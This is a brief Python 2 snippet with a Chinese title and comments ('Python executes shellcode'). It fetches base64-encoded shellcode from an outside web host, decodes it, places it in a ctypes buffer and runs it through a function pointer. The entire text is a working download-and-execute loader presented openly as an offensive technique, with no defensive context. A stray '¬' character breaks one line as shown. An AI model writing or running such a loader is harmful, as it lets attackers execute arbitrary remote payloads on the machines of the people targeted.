Python 执行 shellcode

import urllib2
import ctypes
import base64

# 从我们的web服务器上下载shellcode
url = "http://rinige.com/shellcode.bin"
response = urllib2.urlopen(url)
# base64 解码 shellcode
shellcode = base64.b64decode(response.read())
# 申请内存空间
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
# 创建 shellcode 的函数指针
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE¬
(ctypes.c_void_p))
# 执行 shellcode
shellcode_func()
